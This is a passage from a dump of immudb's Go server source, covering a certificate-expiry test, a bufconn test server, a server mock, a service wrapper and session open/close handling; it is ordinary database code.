&schema.TruncateDatabaseRequest{\n\t\t\tDatabase:        \"db1\",\n\t\t\tRetentionPeriod: rp.Milliseconds(),\n\t\t})\n\t\trequire.ErrorIs(t, err, database.ErrRetentionPeriodNotReached)\n\t})\n\n\t_, err = s.CloseSession(ctx, &emptypb.Empty{})\n\trequire.NoError(t, err)\n}\n\nfunc TestUserIsAlertedToExpiredCerts(t *testing.T) {\n\tdir := t.TempDir()\n\n\tcertsPath := filepath.Join(dir, \"certs\")\n\n\texpCert := makeCert(t, certsPath, \"expired\", 0)\n\tnearExpCert := makeCert(t, certsPath, \"nearly-expired\", 15*24*time.Hour)\n\tvalidCert := makeCert(t, certsPath, \"valid\", 36*24*time.Hour)\n\n\ttlsConfig := &tls.Config{\n\t\tCertificates: []tls.Certificate{\n\t\t\texpCert,\n\t\t\tnearExpCert,\n\t\t\tvalidCert,\n\t\t\t{},\n\t\t\t{Certificate: [][]byte{{1, 2, 3}}},\n\t\t},\n\t}\n\n\topts := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithTLS(tlsConfig)\n\n\ts, stop := testServer(opts)\n\tdefer stop()\n\n\tmockLogger := &mockLogger{captureLogs: true}\n\ts.WithLogger(mockLogger)\n\n\ts.checkTLSCerts()\n\n\trequire.GreaterOrEqual(t, len(mockLogger.logs), 4)\n\trequire.Contains(t, mockLogger.logs[0], \"is expired\")\n\trequire.Contains(t, mockLogger.logs[1], \"is about to expire\")\n\trequire.Contains(t, mockLogger.logs[2], \"tls config contains an invalid certificate\")\n\trequire.Contains(t, mockLogger.logs[3], \"could not parse certificate\")\n}\n\nfunc makeCert(t *testing.T, dir, suffix string, expiration time.Duration) tls.Certificate {\n\tcertFile := filepath.Join(dir, fmt.Sprintf(\"immudb-%s.cert\", suffix))\n\tkeyFile := filepath.Join(dir, fmt.Sprintf(\"immudb-%s.key\", suffix))\n\n\terr := cert.GenerateSelfSignedCert(certFile, keyFile, \"immudb\", expiration)\n\trequire.NoError(t, err)\n\n\tcert, err := tls.LoadX509KeyPair(certFile, keyFile)\n\trequire.NoError(t, err)\n\n\treturn cert\n}\n"
  },
  {
    "path": "pkg/server/servertest/server.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage servertest\n\nimport (\n\t\"context\"\n\t\"log\"\n\t\"net\"\n\t\"sync\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\tgrpc_middleware \"github.com/grpc-ecosystem/go-grpc-middleware\"\n\t\"github.com/rs/xid\"\n\t\"google.golang.org/grpc\"\n\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n\t\"google.golang.org/grpc/test/bufconn\"\n)\n\nconst bufSize = 1024 * 1024\n\ntype BuffDialer func(context.Context, string) (net.Conn, error)\n\ntype BufconnServer struct {\n\timmuServer *server.ImmuServer\n\tm          sync.Mutex\n\tpgsqlwg    sync.WaitGroup\n\tLis        *bufconn.Listener\n\tServer     *ServerMock\n\tOptions    *server.Options\n\tGrpcServer *grpc.Server\n\tDialer     BuffDialer\n\tquit       chan struct{}\n\tuuid       xid.ID\n}\n\n// NewBuffconnServer creates new test server instance that uses grpc's buffconn connection method\n// to talk to its clients - communication happens using memory buffers instead of TCP connections.\nfunc NewBufconnServer(options *server.Options) *BufconnServer {\n\toptions.Port = 0\n\timmuserver := server.DefaultServer().WithOptions(options).(*server.ImmuServer)\n\n\tuuid := xid.New()\n\n\tbs := &BufconnServer{\n\t\tquit:       make(chan struct{}),\n\t\tLis:        bufconn.Listen(bufSize),\n\t\tOptions:    options,\n\t\timmuServer: immuserver,\n\t\tServer:     &ServerMock{Srv: immuserver},\n\t\tuuid:       uuid,\n\t}\n\n\treturn bs\n}\n\nfunc (bs *BufconnServer) GetUUID() xid.ID {\n\treturn bs.uuid\n}\n\nfunc (bs *BufconnServer) SetUUID(id xid.ID) {\n\tbs.uuid = id\n}\n\nfunc (bs *BufconnServer) setupGrpcServer() {\n\tuuidContext := server.NewUUIDContext(bs.uuid)\n\n\tbs.GrpcServer = grpc.NewServer(\n\t\tgrpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer(\n\t\t\tserver.ErrorMapper,\n\t\t\tbs.immuServer.KeepAliveSessionInterceptor,\n\t\t\tuuidContext.UUIDContextSetter,\n\t\t\tauth.ServerUnaryInterceptor,\n\t\t\tbs.immuServer.SessionAuthInterceptor,\n\t\t\tbs.immuServer.InjectRequestMetadataUnaryInterceptor,\n\t\t)),\n\t\tgrpc.StreamInterceptor(grpc_middleware.ChainStreamServer(\n\t\t\tserver.ErrorMapperStream,\n\t\t\tbs.immuServer.KeepALiveSessionStreamInterceptor,\n\t\t\tuuidContext.UUIDStreamContextSetter,\n\t\t\tauth.ServerStreamInterceptor,\n\t\t\tbs.immuServer.InjectRequestMetadataStreamInterceptor,\n\t\t)),\n\t)\n}\n\nfunc (bs *BufconnServer) Start() error {\n\tbs.m.Lock()\n\tdefer bs.m.Unlock()\n\n\tbs.setupGrpcServer()\n\n\tbs.Dialer = func(ctx context.Context, s string) (net.Conn, error) {\n\t\treturn bs.Lis.Dial()\n\t}\n\n\tbs.pgsqlwg.Add(1)\n\n\tif err := bs.Server.Initialize(); err != nil {\n\t\treturn err\n\t}\n\t// in order to know the port of pgsql listener (auto assigned by os thanks 0 value) we need to wait\n\tbs.pgsqlwg.Done()\n\n\tschema.RegisterImmuServiceServer(bs.GrpcServer, bs.Server)\n\n\tgo func() {\n\t\tif err := bs.GrpcServer.Serve(bs.Lis); err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t}()\n\n\tif bs.Options.PgsqlServer {\n\t\tgo func() {\n\t\t\tif err := bs.Server.Srv.PgsqlSrv.Serve(); err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t}\n\t\t}()\n\t}\n\n\treturn nil\n}\n\nfunc (bs *BufconnServer) Stop() error {\n\tbs.m.Lock()\n\tdefer bs.m.Unlock()\n\tif err := bs.Server.Srv.CloseDatabases(); err != nil {\n\t\treturn err\n\t}\n\n\tif bs.Server.Srv.PgsqlSrv != nil {\n\t\tif err := bs.Server.Srv.PgsqlSrv.Stop(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif bs.GrpcServer != nil {\n\t\tbs.GrpcServer.Stop()\n\t\tbs.GrpcServer = nil\n\t}\n\n\treturn nil\n}\n\nfunc (bs *BufconnServer) WaitForPgsqlListener() {\n\tbs.m.Lock()\n\tdefer bs.m.Unlock()\n\tbs.pgsqlwg.Wait()\n}\n\nfunc (bs *BufconnServer) NewClient(options *client.Options) client.ImmuClient {\n\treturn client.NewClient().WithOptions(\n\t\toptions.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}),\n\t)\n}\n\nfunc (bs *BufconnServer) NewAuthenticatedClient(options *client.Options) (client.ImmuClient, error) {\n\tclient := bs.NewClient(options)\n\n\terr := client.OpenSession(\n\t\tcontext.Background(),\n\t\t[]byte(auth.SysAdminUsername),\n\t\t[]byte(bs.Server.Srv.Options.AdminPassword),\n\t\tbs.Server.Srv.Options.GetDefaultDBName(),\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn client, nil\n}\n"
  },
  {
    "path": "pkg/server/servertest/server_mock.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage servertest\n\nimport (\n\t\"context\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n)\n\ntype ServerMock struct {\n\tSrv *server.ImmuServer\n\n\tPreVerifiableGetFn func(context.Context, *schema.VerifiableGetRequest)\n\n\tPreVerifiableSetFn  func(context.Context, *schema.VerifiableSetRequest)\n\tPostSetFn           func(context.Context, *schema.SetRequest, *schema.TxHeader, error) (*schema.TxHeader, error)\n\tPostVerifiableSetFn func(context.Context, *schema.VerifiableSetRequest, *schema.VerifiableTx, error) (*schema.VerifiableTx, error)\n\n\tPostSetReferenceFn           func(context.Context, *schema.ReferenceRequest, *schema.TxHeader, error) (*schema.TxHeader, error)\n\tPostVerifiableSetReferenceFn func(context.Context, *schema.VerifiableReferenceRequest, *schema.VerifiableTx, error) (*schema.VerifiableTx, error)\n\n\tPostZAddFn           func(context.Context, *schema.ZAddRequest, *schema.TxHeader, error) (*schema.TxHeader, error)\n\tPostVerifiableZAddFn func(context.Context, *schema.VerifiableZAddRequest, *schema.VerifiableTx, error) (*schema.VerifiableTx, error)\n\n\tPostExecAllFn func(context.Context, *schema.ExecAllRequest, *schema.TxHeader, error) (*schema.TxHeader, error)\n\n\tGetDbIndexFromCtx func(context.Context, string) (int64, error)\n}\n\nfunc (s *ServerMock) TxSQLExec(ctx context.Context, request *schema.SQLExecRequest) (*empty.Empty, error) {\n\treturn s.Srv.TxSQLExec(ctx, request)\n}\n\nfunc (s *ServerMock) TxSQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_TxSQLQueryServer) error {\n\treturn s.Srv.TxSQLQuery(req, srv)\n}\n\nfunc (s *ServerMock) NewTx(ctx context.Context, request *schema.NewTxRequest) (*schema.NewTxResponse, error) {\n\treturn s.Srv.NewTx(ctx, request)\n}\n\nfunc (s *ServerMock) Commit(ctx context.Context, e *empty.Empty) (*schema.CommittedSQLTx, error) {\n\treturn s.Srv.Commit(ctx, e)\n}\n\nfunc (s *ServerMock) Rollback(ctx context.Context, e *empty.Empty) (*empty.Empty, error) {\n\treturn s.Srv.Rollback(ctx, e)\n}\n\nfunc (s *ServerMock) KeepAlive(ctx context.Context, request *empty.Empty) (*empty.Empty, error) {\n\treturn s.Srv.KeepAlive(ctx, request)\n}\n\nfunc (s *ServerMock) OpenSession(ctx context.Context, request *schema.OpenSessionRequest) (*schema.OpenSessionResponse, error) {\n\treturn s.Srv.OpenSession(ctx, request)\n}\n\nfunc (s *ServerMock) CloseSession(ctx context.Context, e *empty.Empty) (*empty.Empty, error) {\n\treturn s.Srv.CloseSession(ctx, e)\n}\n\nfunc (s *ServerMock) StreamExecAll(allServer schema.ImmuService_StreamExecAllServer) error {\n\treturn s.Srv.StreamExecAll(allServer)\n}\n\nfunc (s *ServerMock) StreamGet(request *schema.KeyRequest, getServer schema.ImmuService_StreamGetServer) error {\n\treturn s.Srv.StreamGet(request, getServer)\n}\n\nfunc (s *ServerMock) StreamSet(setServer schema.ImmuService_StreamSetServer) error {\n\treturn s.Srv.StreamSet(setServer)\n}\n\nfunc (s *ServerMock) StreamVerifiableGet(request *schema.VerifiableGetRequest, getServer schema.ImmuService_StreamVerifiableGetServer) error {\n\treturn s.Srv.StreamVerifiableGet(request, getServer)\n}\n\nfunc (s *ServerMock) StreamVerifiableSet(vSetServer schema.ImmuService_StreamVerifiableSetServer) error {\n\treturn s.Srv.StreamVerifiableSet(vSetServer)\n}\n\nfunc (s *ServerMock) StreamScan(request *schema.ScanRequest, scanServer schema.ImmuService_StreamScanServer) error {\n\treturn s.Srv.StreamScan(request, scanServer)\n}\n\nfunc (s *ServerMock) StreamZScan(request *schema.ZScanRequest, zscanServer schema.ImmuService_StreamZScanServer) error {\n\treturn s.Srv.StreamZScan(request, zscanServer)\n}\n\nfunc (s *ServerMock) StreamHistory(request *schema.HistoryRequest, historyServer schema.ImmuService_StreamHistoryServer) error {\n\treturn s.Srv.StreamHistory(request, historyServer)\n}\n\nfunc (s *ServerMock) ExportTx(req *schema.ExportTxRequest, txsServer schema.ImmuService_ExportTxServer) error {\n\treturn s.Srv.ExportTx(req, txsServer)\n}\n\nfunc (s *ServerMock) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateTxServer) error {\n\treturn s.Srv.ReplicateTx(replicateTxServer)\n}\n\nfunc (s *ServerMock) StreamExportTx(stream schema.ImmuService_StreamExportTxServer) error {\n\treturn s.Srv.StreamExportTx(stream)\n}\n\nfunc (s *ServerMock) ListUsers(ctx context.Context, req *empty.Empty) (*schema.UserList, error) {\n\treturn s.Srv.ListUsers(ctx, req)\n}\n\nfunc (s *ServerMock) CreateUser(ctx context.Context, req *schema.CreateUserRequest) (*empty.Empty, error) {\n\treturn s.Srv.CreateUser(ctx, req)\n}\n\nfunc (s *ServerMock) ChangePassword(ctx context.Context, req *schema.ChangePasswordRequest) (*empty.Empty, error) {\n\treturn s.Srv.ChangePassword(ctx, req)\n}\n\nfunc (s *ServerMock) UpdateAuthConfig(ctx context.Context, req *schema.AuthConfig) (*empty.Empty, error) {\n\treturn s.Srv.UpdateAuthConfig(ctx, req)\n}\n\nfunc (s *ServerMock) UpdateMTLSConfig(ctx context.Context, req *schema.MTLSConfig) (*empty.Empty, error) {\n\treturn s.Srv.UpdateMTLSConfig(ctx, req)\n}\n\nfunc (s *ServerMock) Login(ctx context.Context, req *schema.LoginRequest) (*schema.LoginResponse, error) {\n\treturn s.Srv.Login(ctx, req)\n}\n\nfunc (s *ServerMock) Logout(ctx context.Context, req *empty.Empty) (*empty.Empty, error) {\n\treturn s.Srv.Logout(ctx, req)\n}\n\nfunc (s *ServerMock) Set(ctx context.Context, req *schema.SetRequest) (*schema.TxHeader, error) {\n\tif s.PostSetFn == nil {\n\t\treturn s.Srv.Set(ctx, req)\n\t}\n\n\trsp, err := s.Srv.Set(ctx, req)\n\treturn s.PostSetFn(ctx, req, rsp, err)\n}\n\nfunc (s *ServerMock) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) {\n\tif s.PreVerifiableSetFn != nil {\n\t\ts.PreVerifiableSetFn(ctx, req)\n\t}\n\n\tif s.PostVerifiableSetFn == nil {\n\t\treturn s.Srv.VerifiableSet(ctx, req)\n\t}\n\n\trsp, err := s.Srv.VerifiableSet(ctx, req)\n\treturn s.PostVerifiableSetFn(ctx, req, rsp, err)\n}\n\nfunc (s *ServerMock) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) {\n\treturn s.Srv.Get(ctx, req)\n}\n\nfunc (s *ServerMock) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) {\n\tif s.PreVerifiableGetFn != nil {\n\t\ts.PreVerifiableGetFn(ctx, req)\n\t}\n\n\treturn s.Srv.VerifiableGet(ctx, req)\n}\n\nfunc (s *ServerMock) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) {\n\treturn s.Srv.GetAll(ctx, req)\n}\n\nfunc (s *ServerMock) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) {\n\treturn s.Srv.Delete(ctx, req)\n}\n\nfunc (s *ServerMock) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.TxHeader, error) {\n\tif s.PostExecAllFn == nil {\n\t\treturn s.Srv.ExecAll(ctx, req)\n\t}\n\n\trsp, err := s.Srv.ExecAll(ctx, req)\n\treturn s.PostExecAllFn(ctx, req, rsp, err)\n}\n\nfunc (s *ServerMock) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) {\n\treturn s.Srv.Scan(ctx, req)\n}\n\nfunc (s *ServerMock) Count(ctx context.Context, req *schema.KeyPrefix) (*schema.EntryCount, error) {\n\treturn s.Srv.Count(ctx, req)\n}\n\nfunc (s *ServerMock) CountAll(ctx context.Context, req *empty.Empty) (*schema.EntryCount, error) {\n\treturn s.Srv.CountAll(ctx, req)\n}\n\nfunc (s *ServerMock) TxById(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) {\n\treturn s.Srv.TxById(ctx, req)\n}\n\nfunc (s *ServerMock) VerifiableTxById(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) {\n\treturn s.Srv.VerifiableTxById(ctx, req)\n}\n\nfunc (s *ServerMock) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) {\n\treturn s.Srv.TxScan(ctx, req)\n}\n\nfunc (s *ServerMock) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) {\n\treturn s.Srv.History(ctx, req)\n}\n\nfunc (s *ServerMock) ServerInfo(ctx context.Context, req *schema.ServerInfoRequest) (*schema.ServerInfoResponse, error) {\n\treturn s.Srv.ServerInfo(ctx, req)\n}\n\nfunc (s *ServerMock) Health(ctx context.Context, req *empty.Empty) (*schema.HealthResponse, error) {\n\treturn s.Srv.Health(ctx, req)\n}\n\nfunc (s *ServerMock) CurrentState(ctx context.Context, req *empty.Empty) (*schema.ImmutableState, error) {\n\treturn s.Srv.CurrentState(ctx, req)\n}\n\nfunc (s *ServerMock) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) {\n\tif s.PostSetReferenceFn == nil {\n\t\treturn s.Srv.SetReference(ctx, req)\n\t}\n\n\trsp, err := s.Srv.SetReference(ctx, req)\n\treturn s.PostSetReferenceFn(ctx, req, rsp, err)\n}\n\nfunc (s *ServerMock) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) {\n\tif s.PostVerifiableSetReferenceFn == nil {\n\t\treturn s.Srv.VerifiableSetReference(ctx, req)\n\t}\n\n\trsp, err := s.Srv.VerifiableSetReference(ctx, req)\n\treturn s.PostVerifiableSetReferenceFn(ctx, req, rsp, err)\n}\n\nfunc (s *ServerMock) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) {\n\tif s.PostZAddFn == nil {\n\t\treturn s.Srv.ZAdd(ctx, req)\n\t}\n\n\trsp, err := s.Srv.ZAdd(ctx, req)\n\treturn s.PostZAddFn(ctx, req, rsp, err)\n}\n\nfunc (s *ServerMock) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) {\n\tif s.PostVerifiableZAddFn == nil {\n\t\treturn s.Srv.VerifiableZAdd(ctx, req)\n\t}\n\n\trsp, err := s.Srv.VerifiableZAdd(ctx, req)\n\treturn s.PostVerifiableZAddFn(ctx, req, rsp, err)\n}\n\nfunc (s *ServerMock) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) {\n\treturn s.Srv.ZScan(ctx, req)\n}\n\nfunc (s *ServerMock) CreateDatabase(ctx context.Context, req *schema.Database) (*empty.Empty, error) {\n\treturn s.Srv.CreateDatabase(ctx, req)\n}\n\nfunc (s *ServerMock) CreateDatabaseWith(ctx context.Context, req *schema.DatabaseSettings) (*empty.Empty, error) {\n\treturn s.Srv.CreateDatabaseWith(ctx, req)\n}\n\nfunc (s *ServerMock) CreateDatabaseV2(ctx context.Context, req *schema.CreateDatabaseRequest) (*schema.CreateDatabaseResponse, error) {\n\treturn s.Srv.CreateDatabaseV2(ctx, req)\n}\n\nfunc (s *ServerMock) LoadDatabase(ctx context.Context, req *schema.LoadDatabaseRequest) (*schema.LoadDatabaseResponse, error) {\n\treturn s.Srv.LoadDatabase(ctx, req)\n}\n\nfunc (s *ServerMock) UnloadDatabase(ctx context.Context, req *schema.UnloadDatabaseRequest) (*schema.UnloadDatabaseResponse, error) {\n\treturn s.Srv.UnloadDatabase(ctx, req)\n}\n\nfunc (s *ServerMock) DeleteDatabase(ctx context.Context, req *schema.DeleteDatabaseRequest) (*schema.DeleteDatabaseResponse, error) {\n\treturn s.Srv.DeleteDatabase(ctx, req)\n}\n\nfunc (s *ServerMock) DatabaseList(ctx context.Context, req *empty.Empty) (*schema.DatabaseListResponse, error) {\n\treturn s.Srv.DatabaseList(ctx, req)\n}\n\nfunc (s *ServerMock) DatabaseListV2(ctx context.Context, req *schema.DatabaseListRequestV2) (*schema.DatabaseListResponseV2, error) {\n\treturn s.Srv.DatabaseListV2(ctx, req)\n}\n\nfunc (s *ServerMock) UseDatabase(ctx context.Context, req *schema.Database) (*schema.UseDatabaseReply, error) {\n\treturn s.Srv.UseDatabase(ctx, req)\n}\n\nfunc (s *ServerMock) DatabaseHealth(ctx context.Context, req *empty.Empty) (*schema.DatabaseHealthResponse, error) {\n\treturn s.Srv.DatabaseHealth(ctx, req)\n}\n\nfunc (s *ServerMock) UpdateDatabase(ctx context.Context, req *schema.DatabaseSettings) (*empty.Empty, error) {\n\treturn s.Srv.UpdateDatabase(ctx, req)\n}\n\nfunc (s *ServerMock) UpdateDatabaseV2(ctx context.Context, req *schema.UpdateDatabaseRequest) (*schema.UpdateDatabaseResponse, error) {\n\treturn s.Srv.UpdateDatabaseV2(ctx, req)\n}\n\nfunc (s *ServerMock) GetDatabaseSettings(ctx context.Context, req *empty.Empty) (*schema.DatabaseSettings, error) {\n\treturn s.Srv.GetDatabaseSettings(ctx, req)\n}\n\nfunc (s *ServerMock) GetDatabaseSettingsV2(ctx context.Context, req *schema.DatabaseSettingsRequest) (*schema.DatabaseSettingsResponse, error) {\n\treturn s.Srv.GetDatabaseSettingsV2(ctx, req)\n}\n\nfunc (s *ServerMock) FlushIndex(ctx context.Context, req *schema.FlushIndexRequest) (*schema.FlushIndexResponse, error) {\n\treturn s.Srv.FlushIndex(ctx, req)\n}\n\nfunc (s *ServerMock) CompactIndex(ctx context.Context, req *empty.Empty) (*empty.Empty, error) {\n\treturn s.Srv.CompactIndex(ctx, req)\n}\n\nfunc (s *ServerMock) ChangePermission(ctx context.Context, req *schema.ChangePermissionRequest) (*empty.Empty, error) {\n\treturn s.Srv.ChangePermission(ctx, req)\n}\n\nfunc (s *ServerMock) SetActiveUser(ctx context.Context, req *schema.SetActiveUserRequest) (*empty.Empty, error) {\n\treturn s.Srv.SetActiveUser(ctx, req)\n}\n\nfunc (s *ServerMock) getDbIndexFromCtx(ctx context.Context, methodname string) (int64, error) {\n\treturn s.GetDbIndexFromCtx(ctx, methodname)\n}\n\nfunc (s *ServerMock) Stop() error {\n\treturn s.Srv.Stop()\n}\n\nfunc (s *ServerMock) Initialize() error {\n\treturn s.Srv.Initialize()\n}\n\nfunc (s *ServerMock) SQLExec(ctx context.Context, req *schema.SQLExecRequest) (*schema.SQLExecResult, error) {\n\treturn s.Srv.SQLExec(ctx, req)\n}\n\nfunc (s *ServerMock) UnarySQLQuery(ctx context.Context, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) {\n\treturn s.Srv.UnarySQLQuery(ctx, req)\n}\n\nfunc (s *ServerMock) SQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_SQLQueryServer) error {\n\treturn s.Srv.SQLQuery(req, srv)\n}\n\nfunc (s *ServerMock) ListTables(ctx context.Context, req *empty.Empty) (*schema.SQLQueryResult, error) {\n\treturn s.Srv.ListTables(ctx, req)\n}\n\nfunc (s *ServerMock) DescribeTable(ctx context.Context, req *schema.Table) (*schema.SQLQueryResult, error) {\n\treturn s.Srv.DescribeTable(ctx, req)\n}\n\nfunc (s *ServerMock) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) {\n\treturn s.Srv.VerifiableSQLGet(ctx, req)\n}\n\nfunc (s *ServerMock) TruncateDatabase(ctx context.Context, req *schema.TruncateDatabaseRequest) (*schema.TruncateDatabaseResponse, error) {\n\treturn s.Srv.TruncateDatabase(ctx, req)\n}\n\nfunc (s *ServerMock) ChangeSQLPrivileges(ctx context.Context, r *schema.ChangeSQLPrivilegesRequest) (*schema.ChangeSQLPrivilegesResponse, error) {\n\treturn nil, nil\n}\n"
  },
  {
    "path": "pkg/server/service.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\n// Service ...\ntype Service struct {\n\tImmuServerIf\n}\n\n// Start - non-blocking start service\nfunc (s Service) Start() {\n\tgo s.Run()\n}\n\n// Stop - non-blocking stop service\nfunc (s Service) Stop() {\n\ts.ImmuServerIf.Stop()\n}\n\n// Run - blocking run service\nfunc (s Service) Run() {\n\ts.ImmuServerIf.Start()\n}\n"
  },
  {
    "path": "pkg/server/service_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"google.golang.org/grpc/test/bufconn\"\n)\n\nfunc TestService(t *testing.T) {\n\tbufSize := 1024 * 1024\n\tl := bufconn.Listen(bufSize)\n\n\tdir := t.TempDir()\n\n\toptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithAuth(true).\n\t\tWithListener(l).\n\t\tWithPort(22222).\n\t\tWithMetricsServer(false)\n\n\tserver := DefaultServer().WithOptions(options).(*ImmuServer)\n\n\terr := server.Initialize()\n\trequire.NoError(t, err)\n\tsrvc := &Service{\n\t\tImmuServerIf: server,\n\t}\n\n\tsrvc.Start()\n\ttime.Sleep(1 * time.Second)\n\tsrvc.Stop()\n}\n"
  },
  {
    "path": "pkg/server/session.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/errors\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\nfunc (s *ImmuServer) OpenSession(ctx context.Context, r *schema.OpenSessionRequest) (*schema.OpenSessionResponse, error) {\n\tif r == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tdatabaseName := strings.ToLower(r.DatabaseName)\n\tif !s.Options.auth {\n\t\treturn nil, errors.New(ErrAuthDisabled).WithCode(errors.CodProtocolViolation)\n\t}\n\n\tu, err := s.getValidatedUser(ctx, r.Username, r.Password)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, ErrInvalidUsernameOrPassword)\n\t}\n\tif u.Username == auth.SysAdminUsername {\n\t\tu.IsSysAdmin = true\n\t}\n\n\tif !u.Active {\n\t\treturn nil, errors.New(ErrUserNotActive)\n\t}\n\n\tdb := s.sysDB\n\tif databaseName != SystemDBName {\n\t\tdb, err = s.dbList.GetByName(databaseName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif (!u.IsSysAdmin) &&\n\t\t(!u.HasPermission(databaseName, auth.PermissionAdmin)) &&\n\t\t(!u.HasPermission(databaseName, auth.PermissionR)) &&\n\t\t(!u.HasPermission(databaseName, auth.PermissionRW)) {\n\t\treturn nil, status.Errorf(codes.PermissionDenied, \"Logged in user does not have permission on this database\")\n\t}\n\n\tsession, err := s.SessManager.NewSession(u, db)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.OpenSessionResponse{\n\t\tSessionID:  session.GetID(),\n\t\tServerUUID: s.UUID.String(),\n\t}, nil\n}\n\nfunc (s *ImmuServer) CloseSession(ctx context.Context, _ *empty.Empty) (*empty.Empty, error) {\n\tif !s.Options.auth {\n\t\treturn nil, errors.New(ErrAuthDisabled).WithCode(errors.CodProtocolViolation)\n\t}\n\tsessionID, err := sessions.GetSessionIDFromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = s.SessManager.DeleteSession(sessionID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ts.Logger.Debugf(\"closing session %s\", sessionID)\n\treturn new(empty.Empty), nil\n}\n"
  },
  {
    "path": "pkg/server/session_auth_interceptor.go",
